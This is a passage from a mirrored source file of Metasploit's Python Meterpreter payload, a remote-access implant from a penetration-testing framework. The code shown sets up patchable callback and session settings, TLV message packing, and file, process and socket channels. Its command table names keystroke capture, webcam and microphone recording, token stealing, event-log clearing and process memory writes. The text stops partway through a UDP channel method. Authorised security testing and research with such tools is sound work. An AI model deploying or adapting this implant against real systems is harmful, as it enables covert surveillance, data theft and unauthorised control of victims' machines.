mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-06 09:13:02 +01:00

The channel_open functions are registered in the same ways as functions, yet are not typical commands so they need to be skipped.
1656 lines
62 KiB
Python
1656 lines
62 KiB
Python
#!/usr/bin/python
|
|
import binascii
|
|
import code
|
|
import os
|
|
import platform
|
|
import random
|
|
import re
|
|
import select
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import threading
|
|
import time
|
|
import traceback
|
|
|
|
try:
|
|
import ctypes
|
|
except ImportError:
|
|
has_windll = False
|
|
else:
|
|
has_windll = hasattr(ctypes, 'windll')
|
|
|
|
try:
|
|
urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
|
if sys.version_info[0] < 3:
|
|
urllib = __import__('urllib2', fromlist=urllib_imports)
|
|
else:
|
|
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
|
except ImportError:
|
|
has_urllib = False
|
|
else:
|
|
has_urllib = True
|
|
|
|
if sys.version_info[0] < 3:
|
|
is_str = lambda obj: issubclass(obj.__class__, str)
|
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
|
bytes = lambda *args: str(*args[:1])
|
|
NULL_BYTE = '\x00'
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
|
else:
|
|
if isinstance(__builtins__, dict):
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
|
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
else:
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
|
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
|
long = int
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
|
|
|
# reseed the random generator.
|
|
random.seed()
|
|
|
|
#
|
|
# Constants
|
|
#
|
|
|
|
# these values will be patched, DO NOT CHANGE THEM
|
|
DEBUGGING = False
|
|
TRY_TO_FORK = True
|
|
HTTP_CONNECTION_URL = None
|
|
HTTP_PROXY = None
|
|
HTTP_USER_AGENT = None
|
|
HTTP_COOKIE = None
|
|
HTTP_HOST = None
|
|
HTTP_REFERER = None
|
|
PAYLOAD_UUID = ''
|
|
SESSION_GUID = ''
|
|
SESSION_COMMUNICATION_TIMEOUT = 300
|
|
SESSION_EXPIRATION_TIMEOUT = 604800
|
|
SESSION_RETRY_TOTAL = 3600
|
|
SESSION_RETRY_WAIT = 10
|
|
|
|
PACKET_TYPE_REQUEST = 0
|
|
PACKET_TYPE_RESPONSE = 1
|
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
|
PACKET_TYPE_PLAIN_RESPONSE = 11
|
|
|
|
ERROR_SUCCESS = 0
|
|
# not defined in original C implementation
|
|
ERROR_FAILURE = 1
|
|
ERROR_FAILURE_PYTHON = 2
|
|
ERROR_FAILURE_WINDOWS = 3
|
|
|
|
CHANNEL_CLASS_BUFFERED = 0
|
|
CHANNEL_CLASS_STREAM = 1
|
|
CHANNEL_CLASS_DATAGRAM = 2
|
|
CHANNEL_CLASS_POOL = 3
|
|
|
|
#
|
|
# TLV Meta Types
|
|
#
|
|
TLV_META_TYPE_NONE = ( 0 )
|
|
TLV_META_TYPE_STRING = (1 << 16)
|
|
TLV_META_TYPE_UINT = (1 << 17)
|
|
TLV_META_TYPE_RAW = (1 << 18)
|
|
TLV_META_TYPE_BOOL = (1 << 19)
|
|
TLV_META_TYPE_QWORD = (1 << 20)
|
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
TLV_META_TYPE_GROUP = (1 << 30)
|
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
# not defined in original
|
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
|
|
|
#
|
|
# TLV base starting points
|
|
#
|
|
TLV_RESERVED = 0
|
|
TLV_EXTENSIONS = 20000
|
|
TLV_USER = 40000
|
|
TLV_TEMP = 60000
|
|
|
|
#
|
|
# TLV Specific Types
|
|
#
|
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
TLV_TYPE_COMMAND_ID = TLV_META_TYPE_UINT | 1
|
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
|
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
|
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
|
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
|
|
|
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
|
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
|
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
|
|
|
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
|
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
|
|
|
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
|
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
|
|
|
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
|
|
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
|
|
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
|
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
|
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
|
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
|
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
|
|
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
|
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
|
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
|
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
|
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
|
|
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
|
|
|
|
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
|
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
|
TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462
|
|
|
|
TLV_TYPE_RSA_PUB_KEY = TLV_META_TYPE_RAW | 550
|
|
TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
|
|
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
|
|
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
|
|
|
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
|
|
|
|
EXPORTED_SYMBOLS = {}
|
|
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
|
|
|
ENC_NONE = 0
|
|
ENC_AES256 = 1
|
|
|
|
# Packet header sizes
|
|
PACKET_XOR_KEY_SIZE = 4
|
|
PACKET_SESSION_GUID_SIZE = 16
|
|
PACKET_ENCRYPT_FLAG_SIZE = 4
|
|
PACKET_LENGTH_SIZE = 4
|
|
PACKET_TYPE_SIZE = 4
|
|
PACKET_LENGTH_OFF = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
|
|
PACKET_ENCRYPT_FLAG_SIZE)
|
|
PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE +
|
|
PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE)
|
|
|
|
# ---------------------------------------------------------------
|
|
# --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:29:59 UTC
|
|
EXTENSION_ID_CORE = 0
|
|
EXTENSION_ID_STDAPI = 1000
|
|
COMMAND_IDS = (
|
|
(1, 'core_channel_close'),
|
|
(2, 'core_channel_eof'),
|
|
(3, 'core_channel_interact'),
|
|
(4, 'core_channel_open'),
|
|
(5, 'core_channel_read'),
|
|
(6, 'core_channel_seek'),
|
|
(7, 'core_channel_tell'),
|
|
(8, 'core_channel_write'),
|
|
(9, 'core_console_write'),
|
|
(10, 'core_enumextcmd'),
|
|
(11, 'core_get_session_guid'),
|
|
(12, 'core_loadlib'),
|
|
(13, 'core_machine_id'),
|
|
(14, 'core_migrate'),
|
|
(15, 'core_native_arch'),
|
|
(16, 'core_negotiate_tlv_encryption'),
|
|
(17, 'core_patch_url'),
|
|
(18, 'core_pivot_add'),
|
|
(19, 'core_pivot_remove'),
|
|
(20, 'core_pivot_session_died'),
|
|
(21, 'core_set_session_guid'),
|
|
(22, 'core_set_uuid'),
|
|
(23, 'core_shutdown'),
|
|
(24, 'core_transport_add'),
|
|
(25, 'core_transport_change'),
|
|
(26, 'core_transport_getcerthash'),
|
|
(27, 'core_transport_list'),
|
|
(28, 'core_transport_next'),
|
|
(29, 'core_transport_prev'),
|
|
(30, 'core_transport_remove'),
|
|
(31, 'core_transport_setcerthash'),
|
|
(32, 'core_transport_set_timeouts'),
|
|
(33, 'core_transport_sleep'),
|
|
(1001, 'stdapi_fs_chdir'),
|
|
(1002, 'stdapi_fs_chmod'),
|
|
(1003, 'stdapi_fs_delete_dir'),
|
|
(1004, 'stdapi_fs_delete_file'),
|
|
(1005, 'stdapi_fs_file_copy'),
|
|
(1006, 'stdapi_fs_file_expand_path'),
|
|
(1007, 'stdapi_fs_file_move'),
|
|
(1008, 'stdapi_fs_getwd'),
|
|
(1009, 'stdapi_fs_ls'),
|
|
(1010, 'stdapi_fs_md5'),
|
|
(1011, 'stdapi_fs_mkdir'),
|
|
(1012, 'stdapi_fs_mount_show'),
|
|
(1013, 'stdapi_fs_search'),
|
|
(1014, 'stdapi_fs_separator'),
|
|
(1015, 'stdapi_fs_sha1'),
|
|
(1016, 'stdapi_fs_stat'),
|
|
(1017, 'stdapi_net_config_add_route'),
|
|
(1018, 'stdapi_net_config_get_arp_table'),
|
|
(1019, 'stdapi_net_config_get_interfaces'),
|
|
(1020, 'stdapi_net_config_get_netstat'),
|
|
(1021, 'stdapi_net_config_get_proxy'),
|
|
(1022, 'stdapi_net_config_get_routes'),
|
|
(1023, 'stdapi_net_config_remove_route'),
|
|
(1024, 'stdapi_net_resolve_host'),
|
|
(1025, 'stdapi_net_resolve_hosts'),
|
|
(1026, 'stdapi_net_socket_tcp_shutdown'),
|
|
(1027, 'stdapi_net_tcp_channel_open'),
|
|
(1028, 'stdapi_railgun_api'),
|
|
(1029, 'stdapi_railgun_api_multi'),
|
|
(1030, 'stdapi_railgun_memread'),
|
|
(1031, 'stdapi_railgun_memwrite'),
|
|
(1032, 'stdapi_registry_check_key_exists'),
|
|
(1033, 'stdapi_registry_close_key'),
|
|
(1034, 'stdapi_registry_create_key'),
|
|
(1035, 'stdapi_registry_delete_key'),
|
|
(1036, 'stdapi_registry_delete_value'),
|
|
(1037, 'stdapi_registry_enum_key'),
|
|
(1038, 'stdapi_registry_enum_key_direct'),
|
|
(1039, 'stdapi_registry_enum_value'),
|
|
(1040, 'stdapi_registry_enum_value_direct'),
|
|
(1041, 'stdapi_registry_load_key'),
|
|
(1042, 'stdapi_registry_open_key'),
|
|
(1043, 'stdapi_registry_open_remote_key'),
|
|
(1044, 'stdapi_registry_query_class'),
|
|
(1045, 'stdapi_registry_query_value'),
|
|
(1046, 'stdapi_registry_query_value_direct'),
|
|
(1047, 'stdapi_registry_set_value'),
|
|
(1048, 'stdapi_registry_set_value_direct'),
|
|
(1049, 'stdapi_registry_unload_key'),
|
|
(1050, 'stdapi_sys_config_driver_list'),
|
|
(1051, 'stdapi_sys_config_drop_token'),
|
|
(1052, 'stdapi_sys_config_getenv'),
|
|
(1053, 'stdapi_sys_config_getprivs'),
|
|
(1054, 'stdapi_sys_config_getsid'),
|
|
(1055, 'stdapi_sys_config_getuid'),
|
|
(1056, 'stdapi_sys_config_localtime'),
|
|
(1057, 'stdapi_sys_config_rev2self'),
|
|
(1058, 'stdapi_sys_config_steal_token'),
|
|
(1059, 'stdapi_sys_config_sysinfo'),
|
|
(1060, 'stdapi_sys_eventlog_clear'),
|
|
(1061, 'stdapi_sys_eventlog_close'),
|
|
(1062, 'stdapi_sys_eventlog_numrecords'),
|
|
(1063, 'stdapi_sys_eventlog_oldest'),
|
|
(1064, 'stdapi_sys_eventlog_open'),
|
|
(1065, 'stdapi_sys_eventlog_read'),
|
|
(1066, 'stdapi_sys_power_exitwindows'),
|
|
(1067, 'stdapi_sys_process_attach'),
|
|
(1068, 'stdapi_sys_process_close'),
|
|
(1069, 'stdapi_sys_process_execute'),
|
|
(1070, 'stdapi_sys_process_get_info'),
|
|
(1071, 'stdapi_sys_process_get_processes'),
|
|
(1072, 'stdapi_sys_process_getpid'),
|
|
(1073, 'stdapi_sys_process_image_get_images'),
|
|
(1074, 'stdapi_sys_process_image_get_proc_address'),
|
|
(1075, 'stdapi_sys_process_image_load'),
|
|
(1076, 'stdapi_sys_process_image_unload'),
|
|
(1077, 'stdapi_sys_process_kill'),
|
|
(1078, 'stdapi_sys_process_memory_allocate'),
|
|
(1079, 'stdapi_sys_process_memory_free'),
|
|
(1080, 'stdapi_sys_process_memory_lock'),
|
|
(1081, 'stdapi_sys_process_memory_protect'),
|
|
(1082, 'stdapi_sys_process_memory_query'),
|
|
(1083, 'stdapi_sys_process_memory_read'),
|
|
(1084, 'stdapi_sys_process_memory_unlock'),
|
|
(1085, 'stdapi_sys_process_memory_write'),
|
|
(1086, 'stdapi_sys_process_thread_close'),
|
|
(1087, 'stdapi_sys_process_thread_create'),
|
|
(1088, 'stdapi_sys_process_thread_get_threads'),
|
|
(1089, 'stdapi_sys_process_thread_open'),
|
|
(1090, 'stdapi_sys_process_thread_query_regs'),
|
|
(1091, 'stdapi_sys_process_thread_resume'),
|
|
(1092, 'stdapi_sys_process_thread_set_regs'),
|
|
(1093, 'stdapi_sys_process_thread_suspend'),
|
|
(1094, 'stdapi_sys_process_thread_terminate'),
|
|
(1095, 'stdapi_sys_process_wait'),
|
|
(1096, 'stdapi_ui_desktop_enum'),
|
|
(1097, 'stdapi_ui_desktop_get'),
|
|
(1098, 'stdapi_ui_desktop_screenshot'),
|
|
(1099, 'stdapi_ui_desktop_set'),
|
|
(1100, 'stdapi_ui_enable_keyboard'),
|
|
(1101, 'stdapi_ui_enable_mouse'),
|
|
(1102, 'stdapi_ui_get_idle_time'),
|
|
(1103, 'stdapi_ui_get_keys_utf8'),
|
|
(1104, 'stdapi_ui_send_keyevent'),
|
|
(1105, 'stdapi_ui_send_keys'),
|
|
(1106, 'stdapi_ui_send_mouse'),
|
|
(1107, 'stdapi_ui_start_keyscan'),
|
|
(1108, 'stdapi_ui_stop_keyscan'),
|
|
(1109, 'stdapi_ui_unlock_desktop'),
|
|
(1110, 'stdapi_webcam_audio_record'),
|
|
(1111, 'stdapi_webcam_get_frame'),
|
|
(1112, 'stdapi_webcam_list'),
|
|
(1113, 'stdapi_webcam_start'),
|
|
(1114, 'stdapi_webcam_stop'),
|
|
(1115, 'stdapi_audio_mic_start'),
|
|
(1116, 'stdapi_audio_mic_stop'),
|
|
(1117, 'stdapi_audio_mic_list'),
|
|
)
|
|
# ---------------------------------------------------------------
|
|
|
|
class SYSTEM_INFO(ctypes.Structure):
|
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
|
("wReserved", ctypes.c_uint16),
|
|
("dwPageSize", ctypes.c_uint32),
|
|
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
|
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
|
("dwActiveProcessorMask", ctypes.c_uint32),
|
|
("dwNumberOfProcessors", ctypes.c_uint32),
|
|
("dwProcessorType", ctypes.c_uint32),
|
|
("dwAllocationGranularity", ctypes.c_uint32),
|
|
("wProcessorLevel", ctypes.c_uint16),
|
|
("wProcessorRevision", ctypes.c_uint16)]
|
|
|
|
def rand_bytes(n):
|
|
return os.urandom(n)
|
|
|
|
def rand_xor_key():
|
|
return tuple(random.randint(1, 255) for _ in range(4))
|
|
|
|
def xor_bytes(key, data):
|
|
if sys.version_info[0] < 3:
|
|
dexored = ''.join(chr(ord(data[i]) ^ key[i % len(key)]) for i in range(len(data)))
|
|
else:
|
|
dexored = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
|
|
return dexored
|
|
|
|
def export(symbol):
|
|
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
|
return symbol
|
|
|
|
def generate_request_id():
|
|
chars = 'abcdefghijklmnopqrstuvwxyz'
|
|
return ''.join(random.choice(chars) for x in range(32))
|
|
|
|
@export
|
|
def cmd_id_to_string(this_id):
|
|
for that_id, that_string in COMMAND_IDS:
|
|
if this_id == that_id:
|
|
return that_string
|
|
debug_print('[*] failed to lookup string for command id: ' + str(this_id))
|
|
return None
|
|
|
|
@export
|
|
def cmd_string_to_id(this_string):
|
|
for that_id, that_string in COMMAND_IDS:
|
|
if this_string == that_string:
|
|
return that_id
|
|
debug_print('[*] failed to lookup id for command string: ' + this_string)
|
|
return None
|
|
|
|
@export
|
|
def crc16(data):
|
|
poly = 0x1021
|
|
reg = 0x0000
|
|
if is_str(data):
|
|
data = list(map(ord, data))
|
|
elif is_bytes(data):
|
|
data = list(data)
|
|
data.append(0)
|
|
data.append(0)
|
|
for byte in data:
|
|
mask = 0x80
|
|
while mask > 0:
|
|
reg <<= 1
|
|
if byte & mask:
|
|
reg += 1
|
|
mask >>= 1
|
|
if reg > 0xffff:
|
|
reg &= 0xffff
|
|
reg ^= poly
|
|
return reg
|
|
|
|
@export
|
|
def debug_print(msg):
|
|
if DEBUGGING:
|
|
print(msg)
|
|
|
|
@export
|
|
def debug_traceback(msg=None):
|
|
if DEBUGGING:
|
|
if msg:
|
|
print(msg)
|
|
traceback.print_exc(file=sys.stderr)
|
|
|
|
@export
|
|
def error_result(exception=None):
|
|
if not exception:
|
|
_, exception, _ = sys.exc_info()
|
|
exception_crc = crc16(exception.__class__.__name__)
|
|
if exception_crc == 0x4cb2: # WindowsError
|
|
return error_result_windows(exception.errno)
|
|
else:
|
|
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
|
|
return result
|
|
|
|
@export
|
|
def error_result_windows(error_number=None):
|
|
if not has_windll:
|
|
return ERROR_FAILURE
|
|
if error_number == None:
|
|
error_number = ctypes.windll.kernel32.GetLastError()
|
|
if error_number > 0xffff:
|
|
return ERROR_FAILURE
|
|
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
|
|
return result
|
|
|
|
@export
|
|
def get_hdd_label():
|
|
for _, _, files in os.walk('/dev/disk/by-id/'):
|
|
for f in files:
|
|
for p in ['ata-', 'mb-']:
|
|
if f[:len(p)] == p:
|
|
return f[len(p):]
|
|
return ''
|
|
|
|
@export
|
|
def get_native_arch():
|
|
arch = get_system_arch()
|
|
if arch == 'x64' and ctypes.sizeof(ctypes.c_void_p) == 4:
|
|
arch = 'x86'
|
|
return arch
|
|
|
|
@export
|
|
def get_system_arch():
|
|
uname_info = platform.uname()
|
|
arch = uname_info[4]
|
|
if has_windll:
|
|
sysinfo = SYSTEM_INFO()
|
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
|
values = {0:'x86', 5:'armle', 6:'IA64', 9:'x64'}
|
|
arch = values.get(sysinfo.wProcessorArchitecture, uname_info[4])
|
|
if arch == 'x86_64':
|
|
arch = 'x64'
|
|
return arch
|
|
|
|
@export
|
|
def inet_pton(family, address):
|
|
if family == socket.AF_INET6 and '%' in address:
|
|
address = address.split('%', 1)[0]
|
|
if hasattr(socket, 'inet_pton'):
|
|
return socket.inet_pton(family, address)
|
|
elif has_windll:
|
|
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
|
lpAddress = (ctypes.c_ubyte * 28)()
|
|
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
|
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
|
raise Exception('WSAStringToAddress failed')
|
|
if family == socket.AF_INET:
|
|
return ''.join(map(chr, lpAddress[4:8]))
|
|
elif family == socket.AF_INET6:
|
|
return ''.join(map(chr, lpAddress[8:24]))
|
|
raise Exception('no suitable inet_pton functionality is available')
|
|
|
|
@export
|
|
def packet_enum_tlvs(pkt, tlv_type=None):
|
|
offset = 0
|
|
while offset < len(pkt):
|
|
tlv = struct.unpack('>II', pkt[offset:offset + 8])
|
|
if tlv_type is None or (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
|
val = pkt[offset + 8:(offset + 8 + (tlv[0] - 8))]
|
|
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
|
val = str(val.split(NULL_BYTE, 1)[0])
|
|
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
val = struct.unpack('>I', val)[0]
|
|
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
val = struct.unpack('>Q', val)[0]
|
|
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
|
val = bool(struct.unpack('b', val)[0])
|
|
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
pass
|
|
yield {'type': tlv[1], 'length': tlv[0], 'value': val}
|
|
offset += tlv[0]
|
|
return
|
|
|
|
@export
|
|
def packet_get_tlv(pkt, tlv_type):
|
|
try:
|
|
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
|
except IndexError:
|
|
return {}
|
|
return tlv
|
|
|
|
@export
|
|
def tlv_pack(*args):
|
|
if len(args) == 2:
|
|
tlv = {'type':args[0], 'value':args[1]}
|
|
else:
|
|
tlv = args[0]
|
|
data = ''
|
|
value = tlv['value']
|
|
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
|
if isinstance(value, float):
|
|
value = int(round(value))
|
|
data = struct.pack('>III', 12, tlv['type'], value)
|
|
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
|
data = struct.pack('>IIQ', 16, tlv['type'], value)
|
|
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
|
|
else:
|
|
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
|
value = value.encode('UTF-8')
|
|
elif not is_bytes(value):
|
|
value = bytes(value, 'UTF-8')
|
|
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
|
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
|
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
|
return data
|
|
|
|
@export
|
|
def tlv_pack_request(method, parts=None):
|
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
|
pkt += tlv_pack(TLV_TYPE_COMMAND_ID, cmd_string_to_id(method))
|
|
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
parts = parts or []
|
|
for part in parts:
|
|
pkt += tlv_pack(part['type'], part['value'])
|
|
return pkt
|
|
|
|
#@export
|
|
class MeterpreterChannel(object):
|
|
def core_close(self, request, response):
|
|
self.close()
|
|
return ERROR_SUCCESS, response
|
|
|
|
def core_eof(self, request, response):
|
|
response += tlv_pack(TLV_TYPE_BOOL, self.eof())
|
|
return ERROR_SUCCESS, response
|
|
|
|
def core_read(self, request, response):
|
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
|
|
return ERROR_SUCCESS, response
|
|
|
|
def core_write(self, request, response):
|
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
|
|
return ERROR_SUCCESS, response
|
|
|
|
def close(self):
|
|
raise NotImplementedError()
|
|
|
|
def eof(self):
|
|
return False
|
|
|
|
def is_alive(self):
|
|
return True
|
|
|
|
def notify(self):
|
|
return None
|
|
|
|
def read(self, length):
|
|
raise NotImplementedError()
|
|
|
|
def write(self, data):
|
|
raise NotImplementedError()
|
|
|
|
#@export
|
|
class MeterpreterFile(MeterpreterChannel):
|
|
def __init__(self, file_obj):
|
|
self.file_obj = file_obj
|
|
super(MeterpreterFile, self).__init__()
|
|
|
|
def close(self):
|
|
self.file_obj.close()
|
|
|
|
def eof(self):
|
|
return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size
|
|
|
|
def read(self, length):
|
|
return self.file_obj.read(length)
|
|
|
|
def write(self, data):
|
|
self.file_obj.write(data)
|
|
return len(data)
|
|
export(MeterpreterFile)
|
|
|
|
#@export
|
|
class MeterpreterProcess(MeterpreterChannel):
|
|
def __init__(self, proc_h):
|
|
self.proc_h = proc_h
|
|
super(MeterpreterProcess, self).__init__()
|
|
|
|
def close(self):
|
|
self.proc_h.kill()
|
|
if hasattr(self.proc_h.stdin, 'close'):
|
|
self.proc_h.stdin.close()
|
|
if hasattr(self.proc_h.stdout, 'close'):
|
|
self.proc_h.stdout.close()
|
|
if hasattr(self.proc_h.stderr, 'close'):
|
|
self.proc_h.stderr.close()
|
|
|
|
def is_alive(self):
|
|
return self.proc_h.poll() is None
|
|
|
|
def read(self, length):
|
|
data = ''
|
|
stdout_reader = self.proc_h.stdout_reader
|
|
if stdout_reader.is_read_ready():
|
|
data = stdout_reader.read(length)
|
|
return data
|
|
|
|
def write(self, data):
|
|
self.proc_h.write(data)
|
|
return len(data)
|
|
export(MeterpreterProcess)
|
|
|
|
#@export
|
|
class MeterpreterSocket(MeterpreterChannel):
|
|
def __init__(self, sock):
|
|
self.sock = sock
|
|
self._is_alive = True
|
|
super(MeterpreterSocket, self).__init__()
|
|
|
|
def core_write(self, request, response):
|
|
try:
|
|
status, response = super(MeterpreterSocket, self).core_write(request, response)
|
|
except socket.error:
|
|
self.close()
|
|
self._is_alive = False
|
|
status = ERROR_FAILURE
|
|
return status, response
|
|
|
|
def close(self):
|
|
return self.sock.close()
|
|
|
|
def fileno(self):
|
|
return self.sock.fileno()
|
|
|
|
def is_alive(self):
|
|
return self._is_alive
|
|
|
|
def read(self, length):
|
|
return self.sock.recv(length)
|
|
|
|
def write(self, data):
|
|
return self.sock.send(data)
|
|
export(MeterpreterSocket)
|
|
|
|
#@export
|
|
class MeterpreterSocketTCPClient(MeterpreterSocket):
|
|
pass
|
|
export(MeterpreterSocketTCPClient)
|
|
|
|
#@export
|
|
class MeterpreterSocketTCPServer(MeterpreterSocket):
|
|
pass
|
|
export(MeterpreterSocketTCPServer)
|
|
|
|
#@export
|
|
class MeterpreterSocketUDPClient(MeterpreterSocket):
|
|
def __init__(self, sock, peer_address=None):
|
|
super(MeterpreterSocketUDPClient, self).__init__(sock)
|
|
self.peer_address = peer_address
|
|
|
|
def core_write(self, request, response):
|
|
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
|
|
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value')
|
|
if peer_host and peer_port:
|
|
peer_address = (peer_host, peer_port)
|
|
elif self.peer_address:
|
|
peer_address = self.peer_address
|
|
else:
|
|
raise RuntimeError('peer_host and peer_port must be specified with an unbound/unconnected UDP channel')
|
|
